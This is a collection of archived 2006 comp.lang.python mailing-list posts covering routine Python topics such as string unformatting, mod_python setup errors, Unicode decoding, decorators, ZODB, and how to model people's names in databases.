> [timings deleted]
> That said, I'd probably still use the first solution -- it's more
> immediately obvious why that one works.

Wait a minute, the first example looks wrong, B has gotten replaced by
a set and then it's added to a list.

Anyway how about timing

   C = set(A) - set(B)
   A = B + filter(C.__contains__, A)

This scans A twice, but it does more of the work in native code,
without sorting.


From mensanator at aol.com  Fri Oct 13 20:09:03 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 13 Oct 2006 17:09:03 -0700
Subject: Starting out.
In-Reply-To: <mailman.486.1160778822.11739.python-list@python.org>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160696990.5969.4.camel@dsktp>
	<mailman.411.1160706099.11739.python-list@python.org>
	<452f06a8$0$5108$afc38c87@news.optusnet.com.au>
	<1160721163.418861.269450@f16g2000cwb.googlegroups.com>
	<mailman.486.1160778822.11739.python-list@python.org>
Message-ID: <1160784543.238714.132310@k70g2000cwa.googlegroups.com>


Tim Chase wrote:
> > Maybe you should say "amongst the longest"
> >
> > pepperwort
> > perpetuity
> > perruquier
> > pirouetter
> > proprietor
> > repertoire
> > typewriter
> >
> > But even that would be wrong.
> >
> > rupturewort
> >
> >> hey, look, it's Friday
>
> proprietory
> proterotype
> rupturewort
>
> according to my web2 list of words.
>
> Hey, look, it's Friday, after 5:00pm! :)

Well, I'm on vacation this week, so 5 pm means nothing to me:

teetertotter

from the Consolidated Word List from puzzlers.org.

Yes, it's also spelled with a hyphen or a space, but as long as this
is a valid spelling, it counts.

I would recommend NOT looking this up, just take my word for it.
You may be offended at what you find.

> 
> -tkc



From robert.kern at gmail.com  Mon Oct  2 18:48:56 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 02 Oct 2006 17:48:56 -0500
Subject: Need help with an array problem.
In-Reply-To: <1159828738.510075.153600@i42g2000cwa.googlegroups.com>
References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>	<1159826923.911685.30120@m73g2000cwd.googlegroups.com>
	<1159828738.510075.153600@i42g2000cwa.googlegroups.com>
Message-ID: <efs50h$8m4$1@sea.gmane.org>

jakobsg at gmail.com wrote:
> To your question on casting long to short. This is how:
> a=1234L     # long
> b=int(a)       # int (short)

No, a Python int is a C long. A Python long is an arbitrary-precision number and 
does not correspond to any C type.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From brenocon at gmail.com  Sat Oct 14 17:56:09 2006
From: brenocon at gmail.com (brenocon at gmail.com)
Date: 14 Oct 2006 14:56:09 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
In-Reply-To: <1160808124.455062.319660@m7g2000cwm.googlegroups.com>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<1160802056.744732.323540@e3g2000cwe.googlegroups.com>
	<1160808124.455062.319660@m7g2000cwm.googlegroups.com>
Message-ID: <1160862969.087167.29990@f16g2000cwb.googlegroups.com>

Kay Schluehr wrote:
> The with statement is already implemented in Python 2.5.
>
> http://docs.python.org/whatsnew/pep-343.html
>
> The main difference between the with statement and Ruby blocks is that
> the with-statement does not support loops. Yielding a value of a
> function decorated with a contextmanager and passing it to the BLOCK of
> the with statement is essentially a one-shot. Therefore you can't use
> the with statement to define iterators. It is not a lightweight visitor
> pattern replacement as it is in Ruby. Hence the with- and the
> for-statement are orthogonal to each other in Python.

Thanks or the What's-New link, it clarified things for me.  So there
are several ways to do things with code blocks now in python..
 * for/while define loops around their blocks
 * if defines contional control into its block
 * with defines startup/cleanup context surrounding its block

Twisted addCallback() is a different pattern than either of these.  The
code is deferred to execute at some later time.  If there are many more
patterns of things you could want to do with a block, it might be nice
to have a blocks-are-closures mechanism.



From gagsl-py at yahoo.com.ar  Wed Oct 25 03:07:27 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 25 Oct 2006 04:07:27 -0300
Subject: ZODB for inverted index?
In-Reply-To: <1161759244.955494.18500@m7g2000cwm.googlegroups.com>
References: <1161625143.942199.327550@i3g2000cwc.googlegroups.com>
	<1OWdnfsSrM54mKDYnZ2dnUVZ_o-dnZ2d@comcast.com>
	<1161759244.955494.18500@m7g2000cwm.googlegroups.com>
Message-ID: <7.0.1.0.0.20061025040512.0392aad0@yahoo.com.ar>

At Wednesday 25/10/2006 03:54, vd12005 at yahoo.fr wrote:

>anyway can someone help me on how to "rewrite" and "reload" a class
>instance when using ZODB ?

What do you mean?


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From python.list at tim.thechases.com  Sun Oct 15 08:59:41 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Sun, 15 Oct 2006 07:59:41 -0500
Subject: Reverse string-formatting (maybe?)
In-Reply-To: <1160916174.892851.39730@e3g2000cwe.googlegroups.com>
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>	<egqoee$i81$03$1@news.t-online.com>
	<1160916174.892851.39730@e3g2000cwe.googlegroups.com>
Message-ID: <453230BD.7070205@tim.thechases.com>

> My template outside of the '%s' characters contains only commas and
> spaces, and within, neither commas nor spaces. Given that information,
> is there any reason it might not work properly?

Given this new (key) information along with the assumption that 
you're doing straight string replacement (not dictionary 
replacement of the form "%(key)s" or other non-string types such 
as "%05.2f"), then yes, a reversal is possible.  To make it more 
explicit, one would do something like

 >>> template = '%s, %s, %s'
 >>> values = ('Tom', 'Dick', 'Harry')
 >>> formatted = template % values
 >>> import re
 >>> unformat_string = template.replace('%s', '([^, ]+)')
 >>> unformatter = re.compile(unformat_string)
 >>> extracted_values = unformatter.search(formatted).groups()

using '[^, ]+' to mean "one or more characters that aren't a 
comma or a space".

-tkc






From jordan.nick at gmail.com  Wed Oct  4 00:02:04 2006
From: jordan.nick at gmail.com (jordan.nick at gmail.com)
Date: 3 Oct 2006 21:02:04 -0700
Subject: Need help with syntax on inheritance.
In-Reply-To: <1159927793.600354.150330@b28g2000cwb.googlegroups.com>
References: <1159927793.600354.150330@b28g2000cwb.googlegroups.com>
Message-ID: <1159934524.452250.253670@m7g2000cwm.googlegroups.com>


SpreadTooThin wrote:
> If you are deriving a new class from another class,
> that you must (I assume) know the initializer of the other class.
>
> So in myClass
>
> import array
> class myClass(arrary.array):
>    def __init__(self, now here I need to put array's constructor
> parameters..., then mine):
>       array.array.__init__(self, typecode[, initializer])
>       self.mine = mine
>
> So I'm confused...
> array has a typecode parameter and an optional initiializer...
> So could you help me with the class construction here please?

Lookup *args and **kargs in the python reference manual.



From bignose+hates-spam at benfinney.id.au  Fri Oct 27 20:18:23 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 28 Oct 2006 10:18:23 +1000
Subject: Cards deck problem
References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com>
	<slrnek30pv.jcj.mmn@linux.site>
	<7.0.1.0.0.20061027184609.05f31e68@yahoo.com.ar>
Message-ID: <87vem5cmy8.fsf@benfinney.id.au>

Gabriel Genellina <gagsl-py at yahoo.com.ar> writes:

> At Friday 27/10/2006 00:48, Michael Naunton wrote:
>
> >As noted in the problem, a deck has 52 cards.  cardsLeft(self)
> >therefore always returns 52.
>
> Uhm, maybe it's a matter of language, but how do you name the pile of
> cards remaining to be dealt once the game begins?

In English? I'd call that a deck. However, that deck doesn't contain
52 cards any more, so a thing that behaves that way doesn't fit the
definition of "deck" in the problem.

Perhaps a better definition would have used language like "... begins
with 52 cards" or the like, and described the properties of a deck to
be modelled.

Is this merely pedantic? If we were describing the rules of a game to
be played by humans, yes. But in this case we're describing parameters
of a problem to be modelled in a computer, hopefully independently by
each student in a class. Getting the problem defined precisely is
essential, otherwise judging the result fairly is impossible.

(good sigmonster, have a cookie)

-- 
 \     "We demand rigidly defined areas of doubt and uncertainty!"  -- |
  `\     Vroomfondel, _The Hitch-Hiker's Guide To The Galaxy_, Douglas |
_o__)                                                            Adams |
Ben Finney



From bignose+hates-spam at benfinney.id.au  Thu Oct 26 18:59:53 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 08:59:53 +1000
Subject: What's the best IDE?
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
	<7g40h.165$1n3.4282@news.tufts.edu>
	<fT40h.7805$5i7.6796@newsreading01.news.tds.net> <gG60h
	<xqxu01qeutv.fsf@cola3.ca.boeing.com>
Message-ID: <87pscefzti.fsf@benfinney.id.au>

Harry George <harry.g.george at boeing.com> writes:

> John Salerno <johnjsal at NOSPAMgmail.com> writes:
> > Yeah, it was all the customizing that I could never figure out.
>
> years ago this worked for people I was supporting:
>  set softtabstop=4 shiftwidth=4 expandtab

That's all I've ever needed vim to do with my Python code (apart from
the syntax highlighting, which works by default when I've tried it).

> Personally, I'm an emacs guy, so I wouldn't know.

Should I start another thread about python-mode and how annoying it is?

-- 
 \          "If you get invited to your first orgy, don't just show up |
  `\             nude. That's a common mistake. You have to let nudity |
_o__)                                       'happen.'"  -- Jack Handey |
Ben Finney



From edreamleo at charter.net  Tue Oct 10 15:20:35 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Tue, 10 Oct 2006 14:20:35 -0500
Subject: ANN: Leo 4.4.2 beta 2 released
Message-ID: <8oSWg.720$xK7.163@newsfe05.lga>

Leo 4.4.2 beta 2                                  October 9, 2006

Leo 4.4.2 beta 2 is available at:
http://sourceforge.net/project/showfiles.php?group_id=3458&package_id=29106

Leo is a text editor, data organizer, project manager and much more. See:
http://webpages.charter.net/edreamleo/intro.html

The highlights of Leo 4.4.2:
----------------------------
- You can now store settings in myLeoSettings.leo without fear of those
settings
  being changed by cvs updates or in future versions of Leo.
- Leo's vnode tnode and position classes are now completely independent of
the rest of Leo.
  Some api's have been changed.  This 'big reorg' and may affect scripts and
plugins.
- Leo's vnode and tnode classes can optionally be compatible with ZODB
databases,
  i.e., they can optionally derive from ZODB.Persistence.Persistent.
  See Chapter 17: Using ZODB with Leo for details.
- The leoOPML plugin defines commands to read and write OPML files.
- The slideshow plugin allows Leo to run slideshows defined by @slideshow
and @slide nodes.
- The leo_to_rtf and leo_to_html plugins create rtf and html files from Leo
outlines.
- Much faster navigation through the outline.
- When focus is in the outline pane, you can move to headlines by typing the
first letter of headlines.
- The find command now optionally closes nodes not needed to show the node
containing the present match.
- Numerous changes that make Leo easier to use without using a mouse,
including new commands and options.
- Many more minibuffer commands appear in the Cmds menu.
- A sax parser can now optionally read .leo files.
- Dozens of bug fixes.

Quote of the month:
------------------
For the non-leo python project I'm (supposed to be) working on, I'm
switching from emacs to leo :-)
-- Terry Brown

Links:
------
Leo:      http://webpages.charter.net/edreamleo/front.html
Home:     http://sourceforge.net/projects/leo/
Download: http://sourceforge.net/project/showfiles.php?group_id=3458
CVS:      http://leo.tigris.org/source/browse/leo/
Quotes:   http://webpages.charter.net/edreamleo/testimonials.html

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------





From http  Tue Oct 24 01:14:35 2006
From: http (Paul Rubin)
Date: 23 Oct 2006 22:14:35 -0700
Subject: SSL follow up
References: <mailman.1035.1161666486.11739.python-list@python.org>
Message-ID: <7xac3muwg4.fsf@ruckus.brouhaha.com>

Yogesh Chawla - PD <premiergeneration at yahoo.com> writes:
> 2) I like the idea of calling openssl in a subprocess.
>  Do you have any of those openssl commands handy?  If
> not, I can look through the documentation tommorrow.

To dump out the certificate?  Try:

   openssl x509 -text -in filename.crt

if the cert is in a file.  Omit that -in parameter if you want openssl
to read from stdin.  Of course now you get this other text format
thing to parse, but it's not so bad.


From johnjsal at NOSPAMgmail.com  Fri Oct 20 10:57:04 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 20 Oct 2006 14:57:04 GMT
Subject: proper format for this database table
In-Reply-To: <1161293831.141761.284230@e3g2000cwe.googlegroups.com>
References: <qWQZg.119$1n3.3371@news.tufts.edu>
	<mailman.786.1161289572.11739.python-list@python.org>
	<1161293831.141761.284230@e3g2000cwe.googlegroups.com>
Message-ID: <4t5_g.121$1n3.3067@news.tufts.edu>

mensanator at aol.com wrote:

> you should rethink it as
> 
> [id] [university] [yearStart] [yearEnd] [degreeEarned]
> 1     U of I       1971        1975      BS
> 1     U of I       1975        1976      MS
> 1     U of I       1976        1977      PhD
> 

Thanks guys. I do plan to have an id entry for each person as well, I 
just forgot to mention that. But since it's a primary key, I didn't know 
I could list it more than once. Or does primary key not necessarily mean 
unique?


From gagsl-py at yahoo.com.ar  Wed Oct 11 18:11:28 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 11 Oct 2006 19:11:28 -0300
Subject: python 2.5 & sqlite3
In-Reply-To: <1160603125.964879.17480@m73g2000cwd.googlegroups.com>
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>
	<mailman.337.1160600574.11739.python-list@python.org>
	<1160603125.964879.17480@m73g2000cwd.googlegroups.com>
Message-ID: <7.0.1.0.0.20061011190803.060f32a8@yahoo.com.ar>

At Wednesday 11/10/2006 18:45, BartlebyScrivener wrote:

> > wasting time on broken distributions?
>
>It's not broken. I like Pythonwin better than IDLE. Either way I need
>to know where to put the sqlite files, right?

You can download Pythonwin (and the whole win32all packages) from 
http://sourceforge.net/projects/pywin32/



-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From ardsrk at gmail.com  Sat Oct 28 11:45:59 2006
From: ardsrk at gmail.com (ArdPy)
Date: 28 Oct 2006 08:45:59 -0700
Subject: Where is __builtin__
Message-ID: <1162050359.184999.259580@b28g2000cwb.googlegroups.com>

Most of the other modules have an accompanying python source file. But
that is not the case with __builtin__. What might be the reason? Isn't
__builtin__ written in python?



From ironpythonster at gmail.com  Fri Oct 13 02:42:06 2006
From: ironpythonster at gmail.com (Kevien Lee)
Date: Fri, 13 Oct 2006 14:42:06 +0800
Subject: How to print the CDATA of .xml file?
Message-ID: <8c8dcbe30610122342m2fea53f3j5cc503658bc8ff5f@mail.gmail.com>

Hi,
  Recently ,I just turn to Python from C#.However ,as a dynamic  language .
Python and C# was so different.

 Now ,I want to get some record from an XML file,The format of the XML file
as follow:
...............................
<Doc rID="T1"  >
    <DName><![CDATA[Release Truck]]></DName>
    <Res><![CDATA[Res18]]></Res>

   <DT rID="T2">
      <NodeArgs eType="Table" icon="2" nRep="5" filter="False" >
        <Disp><![CDATA[Run-Time Data]]></Disp>
        <BtmPane vType="Table">
          <Path><![CDATA[Default.xls]]></Path>
        </BtmPane>
      </NodeArgs>
    </DT>

    <NodeArgs eType="StartTest" icon="1" nRep="4" status="Failed" >
      <Disp><![CDATA[Test Release Truck Summary]]></Disp>
    </NodeArgs>

</Doc>
....................................

when i use the minidom to parase the XML file,it would ignored the section
of <![CDATA[.......]>
the code is:

_document=minidom.parse("filePath")
_documnetList=_document.getElementsByTagName("NodeArgs")
for _argNode in _documnetList:
    print _argNode.nodeValue,_argNode.localName

when it run. The nodeValue of the CDATA Section  is  always None,Is my code
error?
and how should i do when i want to get the value of the in the CDATA
section?
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From grahamd at dscpl.com.au  Sat Oct 28 19:36:33 2006
From: grahamd at dscpl.com.au (grahamd at dscpl.com.au)
Date: 28 Oct 2006 16:36:33 -0700
Subject: PROBLEM with MOD_PYTHON
References: <1162041564.610155.278270@h48g2000cwc.googlegroups.com>
Message-ID: <1162078593.581132.279220@h48g2000cwc.googlegroups.com>

dan84 wrote:
> I don't understand this error , in the (Apache) errorlog I read this
> message :
>
> [Sat Oct 28 14:04:03 2006] [error] make_obcallback: could not import
> mod_python.apache.\n
> [Sat Oct 28 14:04:03 2006] [error] make_obcallback: Python path being
> used "['C:\\\\Python24\\\\python24.zip', '.\\\\DLLs', '.\\\\lib',
> '.\\\\lib\\\\plat-win', '.\\\\lib\\\\lib-tk',
> 'C:\\\\Programmi\\\\Apache Group\\\\Apache2\\\\bin']".
> [Sat Oct 28 14:04:03 2006] [error] python_handler: no interpreter
> callback found.
> [Sat Oct 28 14:04:03 2006] [error] [client 127.0.0.1] python_handler:
> Can't get/create interpreter.
>
> I have Apache/2.0.59 (Win32) mod_python/3.2.10 Python/2.4.3
> I have read all the manuals, but I don't understand where I am wrong.
>
> thanks so much
>                Marco.

Read:


http://www.modpython.org/pipermail/mod_python/2006-October/022362.html

You may have to fiddle your Windows registry to add site-packages
directory.

BTW, there is a mailing list specifically for mod_python. You might be
better off asking questions directly there, as we have seen most
problems. You can also search the mailing list archives from the
mod_python site.

BTW, the quadruple backslashes is indeed because of the use of repr()
when doing the error dump.

Graham



From jjl at pobox.com  Sat Oct 14 11:56:39 2006
From: jjl at pobox.com (John J. Lee)
Date: Sat, 14 Oct 2006 15:56:39 GMT
Subject: PyDoc and mod_python
References: <452CA695.60205@gmail.com>
	<mailman.291.1160554551.11739.python-list@python.org>
Message-ID: <87slhqrivc.fsf@pobox.com>

Fredrik Lundh <fredrik at pythonware.com> writes:

> durumdara wrote:
> 
> > I need to write documentation for my mod_python website, for the
> > base classes, functions, modules.
> > The problem, that mod_python is imported "apache" that not existing
> > in the normal, pythonic way (only in Apache).
> 
> > problem in c:\test.py - ImportError: No module named _apache
> > So I need a cheat, or I need to force the pydoc to avoid to parse
> > these modules...
> > Is anybody have an experience, how can I do it ?
> 
> add a stub module, or switch to a documentation tool that uses source
> code inspection.

Fredrik is too modest to mention that his own PythonDoc does source
code inspection, as does epydoc (note the "e").


John


From fredrik at pythonware.com  Mon Oct  2 08:06:40 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 2 Oct 2006 14:06:40 +0200
Subject: Python threads and Numeric/SciPy exploit Dual Core ?
References: <efqq34$22nc$1@ulysses.news.tiscali.de><efqql9$ji9$1@sea.gmane.org>
	<ec4d2e280610020432x352ac3dh34a784ea6589d41d@mail.gmail.com>
Message-ID: <efqvcg$3fj$1@sea.gmane.org>

Oeyvind Brandtsegg wrote:

> I've been trying to make my music app use dual core,
> and would very much like some more detailed information on this.
>
> Excuse my lack of knowledge,
> but how do I explicitly release the GIL ?

http://docs.python.org/api/threads.html

> I haven't learned this, but have found through experimentation that I
> can release a thread by using time.sleep(0) inside a thread's "run
> while true" loop. This seems to create an interrupt, and give other
> threads a chance to do their thing.

that (momentarily) blocks the current thread, and forces a rescheduling.

</F> 





From bearophileHUGS at lycos.com  Fri Oct  6 16:25:03 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 6 Oct 2006 13:25:03 -0700
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <eg6bku$59b$1@online.de>
References: <eg6bku$59b$1@online.de>
Message-ID: <1160166303.092553.32170@m73g2000cwd.googlegroups.com>

Peter Maas:
> I have noticed that in the language shootout at shootout.alioth.debian.org
> the Python program for the n-body problem is about 50% slower than the Perl
> program. This is an unusual big difference. I tried to make the Python program
> faster but without success. Has anybody an explanation for the difference?
> It's pure math so I expected Perl and Python to have about the same speed.

I don't have a good answer for you, but if you profile that code you
find that most of the running time is used here, in this nested loop:

for j in xrange(i + 1, nbodies):
            b2 = bodies[j]

            dx = b_x - b2.x
            dy = b_y - b2.y
            dz = b_z - b2.z

            distance = sqrt(dx*dx + dy*dy + dz*dz)
            aux = dt / (distance*distance*distance)
            b_mass_x_mag = b_mass * aux
            b2_mass_x_mag = b2.mass * aux

            b.vx -= dx * b2_mass_x_mag
            b.vy -= dy * b2_mass_x_mag
            b.vz -= dz * b2_mass_x_mag
            b2.vx += dx * b_mass_x_mag
            b2.vy += dy * b_mass_x_mag
            b2.vz += dz * b_mass_x_mag

If you are using Python you can use Psyco, it helps a lot (473 s
instead of 2323 s, against 1622 s for the Perl version):
http://shootout.alioth.debian.org/sandbox/benchmark.php?test=nbody&lang=all
If you need speed, you can also use ShedSkin that compiles this Python
program producing an executable essentially fast as the C++ version
(about 16 s on the same computer, the Shootout autor isn't going to add
ShedSkin to the language list yet).

Bye,
bearophile



From nitte.sudhir at gmail.com  Fri Oct  6 06:53:44 2006
From: nitte.sudhir at gmail.com (kath)
Date: 6 Oct 2006 03:53:44 -0700
Subject: how to convert UNICODE to integer in Python?
Message-ID: <1160132024.709430.63080@b28g2000cwb.googlegroups.com>

Hi,

>>> import xlrd
>>> book = xlrd.open_workbook("testbook1.xls")
>>> sh = book.sheet_by_index(0)
>>> sh.cell_value(rowx=1,colx=0)
38938.0
>>> type(sh.cell_value(rowx=1,colx=0))
<type 'unicode'>
>>> xlrd.xldate_as_tuple( sh.cell_value( rowx = 1,colx= 0 ), 0 )

Traceback (most recent call last):
  File "D:\Python23\Testing area\Python and Excel\xlrdRead.py", line
30, in ?
    temp=xlrd.xldate_as_tuple(sh.cell_value(rowx=r,colx=c),0)
  File "D:\PYTHON23\Lib\site-packages\xlrd\xldate.py", line 61, in
xldate_as_tuple
    xldays = int(xldate)
ValueError: invalid literal for int(): Date

because xlrd.xldate_as_tuple() function expects first argument to be an
integer. How do I convert an unicode character to integer, so that I
could get the date using xlrd.xldate_as_tuple() function.

Thank you,
kath.



From esj at harvee.org  Tue Oct  3 09:50:11 2006
From: esj at harvee.org (Eric S. Johansson)
Date: Tue, 03 Oct 2006 09:50:11 -0400
Subject: Making sure script only runs once instance at a time.
In-Reply-To: <1159850197.441520.15670@m73g2000cwd.googlegroups.com>
References: <mailman.801.1159372327.10491.python-list@python.org>	<1159531181.314800.224180@k70g2000cwa.googlegroups.com>	<mailman.936.1159535264.10491.python-list@python.org>	<7xk63mpzwr.fsf@ruckus.brouhaha.com>	<451D25A3.7010803@googlemail.com>
	<efjbhh$d9m$1@sea.gmane.org>	<4520E5E1.3040409@googlemail.com>	<mailman.1111.1159808480.10491.python-list@python.org>	<1159832748.370619.95190@i3g2000cwc.googlegroups.com>	<mailman.1134.1159849749.10491.python-list@python.org>
	<1159850197.441520.15670@m73g2000cwd.googlegroups.com>
Message-ID: <45226A93.4060505@harvee.org>

MonkeeSage wrote:
> Eric S. Johansson wrote:
>> the problem with this solution is that it does not handle the read
>> nonexclusive/write exclusive locking model.  In this model, reads don't
>> block, they only register that the request is in process.  writes lock
>> request block until all outstanding reads have completed.  When there is
>> a write lock waiting, all subsequent reads lock requests block until the
>> write has completed.
> 
> I should have said "lock file" -- I'm not trying to do file locking for
> concurrent access to a file; I'm trying to provide a lock file to
> determine if an instance of a process is already spawned.

That difference was clear to me and I appreciate your comment clarifying 
the issue further.

I was trying to point out how there are more models of locking that we 
could use in Python than the single point lock as you had described. 
Unfortunately, most system locks are hard to get right and difficult to 
test so you're never quite sure until something breaks and then you know 
you did it wrong.

I really should grab the code you pasted and use it as a rewrite for 
portalocker.  Someday. <sigh>

--- eric



From webraviteja at gmail.com  Mon Oct 16 17:45:20 2006
From: webraviteja at gmail.com (Ravi Teja)
Date: 16 Oct 2006 14:45:20 -0700
Subject: ADO with Python
In-Reply-To: <4pi94uFip1e9U1@individual.net>
References: <4pi94uFip1e9U1@individual.net>
Message-ID: <1161035120.594864.201910@k70g2000cwa.googlegroups.com>

Ralf wrote:
> Is their anybody with xperience in using the both and can provide me with
> some xamples.

Googling for python ado returns this simple tutorial
http://www.markcarter.me.uk/computing/python/ado.html

COM access in Python is straight forward with win32all.



From fuzzyman at gmail.com  Sat Oct 21 17:57:48 2006
From: fuzzyman at gmail.com (Fuzzyman)
Date: 21 Oct 2006 14:57:48 -0700
Subject: Decorators and how they relate to Python - A little insight
	please!
In-Reply-To: <mailman.809.1161323706.11739.python-list@python.org>
References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
	<mailman.809.1161323706.11739.python-list@python.org>
Message-ID: <1161467868.530841.305680@m73g2000cwd.googlegroups.com>


Fredrik Lundh wrote:
> Jerry wrote:
>
> > even though I've read the PEP
>
> even the examples section?
>
>      http://www.python.org/dev/peps/pep-0318/#examples
>

The second example of which shows :

Define a class with a singleton instance. Note that once the class
disappears enterprising programmers would have to be more creative to
create more instances. (From Shane Hathaway on python-dev.)

def singleton(cls):
    instances = {}
    def getinstance():
        if cls not in instances:
            instances[cls] = cls()
        return instances[cls]
    return getinstance

@singleton
class MyClass:
    ...


:-o

Fuzzyman
http://www.voidspace.org.uk/


> if you want more examples, see the cookbook
>
> http://www.google.com/search?q=+site%3Aaspn.activestate.com+decorator+cookbook
> 
> </F>



From blair.houghton at gmail.com  Thu Oct  5 20:59:31 2006
From: blair.houghton at gmail.com (Blair P. Houghton)
Date: 5 Oct 2006 17:59:31 -0700
Subject: How can I correct an error in an old post?
In-Reply-To: <pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>
	<mailman.1100.1159803391.10491.python-list@python.org>
	<slrnei7hlp.gim.grahn+nntp@frailea.sa.invalid>
	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
Message-ID: <1160096371.564954.132860@b28g2000cwb.googlegroups.com>


Tim Roberts wrote:
> Although it might be mirrored on a web site somewhere, this is a Usenet
> newsgroup.  It is impossible to "close" a thread.  The concept simply does
> not exist.

Google, the new de facto website of record for Usenet, disagrees.

But they do about 10 things totally wrong with Google groups that
I'd've fixed in my spare time in my first week if they'd hired me back
when I was interviewing with them.

So if they want it to work, they know where to find me.

--Blair

P.S.  Did I mention? Google's distributed systems are managed with
Python scripts.



From fredrik at pythonware.com  Mon Oct 30 02:30:39 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 08:30:39 +0100
Subject: Is there a way to get utf-8 out of a Unicode string?
In-Reply-To: <1162193088.091894.269630@m73g2000cwd.googlegroups.com>
References: <1162193088.091894.269630@m73g2000cwd.googlegroups.com>
Message-ID: <ei49mv$2p0$1@sea.gmane.org>

thebjorn wrote:

> I've got a database (ms sqlserver) that's (way) out of my control,
> where someone has stored utf-8 encoded Unicode data in regular varchar
> fields, so that e.g. the string 'Bl?b?rsyltet?y' is in the database
> as 'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y' :-/
> 
> Then I read the data out using adodbapi (which returns all strings as
> Unicode) and I get u'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y'. I couldn't
> find any way to get back to the original short of:
> 
>   def unfk(s):
>       return eval(repr(s)[1:]).decode('utf-8')
> 
> i.e. chopping off the u in the repr of a unicode string, and relying on
> eval to interpret the \xHH sequences.
> 
> Is there a less hack'ish way to do this?

first, check if you can get your database adapter to understand that the 
database contains UTF-8 and not ISO-8859-1.  if that's not possible, you 
can roundtrip via ISO-8859-1 yourself:

 >>> u = u'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y'
 >>> u
u'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y'
 >>> u.encode("iso-8859-1")
'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y'
 >>> u.encode("iso-8859-1").decode("utf-8")
u'Bl\xe5b\xe6rsyltet\xf8y'
 >>> print u.encode("iso-8859-1").decode("utf-8")
Bl?b?rsyltet?y

</F>



From sjmachin at lexicon.net  Sat Oct  7 20:08:58 2006
From: sjmachin at lexicon.net (John Machin)
Date: 7 Oct 2006 17:08:58 -0700
Subject: People's names (was Re: sqlite3 error)
In-Reply-To: <eg98qb$6a3$1@lust.ihug.co.nz>
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
Message-ID: <1160266138.599325.270290@e3g2000cwe.googlegroups.com>

Lawrence D'Oliveiro wrote:
> In message <mailman.912.1159494600.10491.python-list at python.org>, Steve
> Holden wrote:
>
> > John Machin wrote:
> >
> > [lots of explanation about peculiarities of people's names]
> >
> > While I don't dispute any of this erudite display of esoteric
> > nomenclature wisdom the fact remains that many (predominantly Western)
> > databases do tend to use first and last name (in America often with the
> > addition of a one- or two-character "middle initial" field).
>
> Just because most Western designers of databases do it wrong doesn't mean
> that a) you should do it wrong, or b) they will continue to do it wrong
> into the future, as increasing numbers of those designers come from Asian
> and other non-Western backgrounds.

Unfortunately, lack of appreciation that different rules and customs
may apply on the other side of the county/state/national boundary is a
universal trait, not one restricted to Westerners.

>
> > So, having distilled your knowledge to its essence could you please give
> > me some prescriptive advice about what I *should* do? :-)
>
> Has anyone come up with a proper universal table design for storing people's
> names?
>
> Certainly "first name" and "last name" are the wrong column names to use. I
> think "family name" and "given names" would be a good start.

So far so good.

>  For the
> Icelanders, Somalians and the Muslims, their father's name goes in
> the "family name" field, which makes sense because all their siblings (of
> the same sex, at least) would have the same value in this field.

Two problems so far:
(1) If you then assume that you should print the phone directory in
order of family name, that's not appropriate in some places e.g.
Iceland; neither is addressing Jon Jonsson as "Mr Jonsson", and BTW it
can be their mother's name e.g. if she has more fame or recognition
than their father.
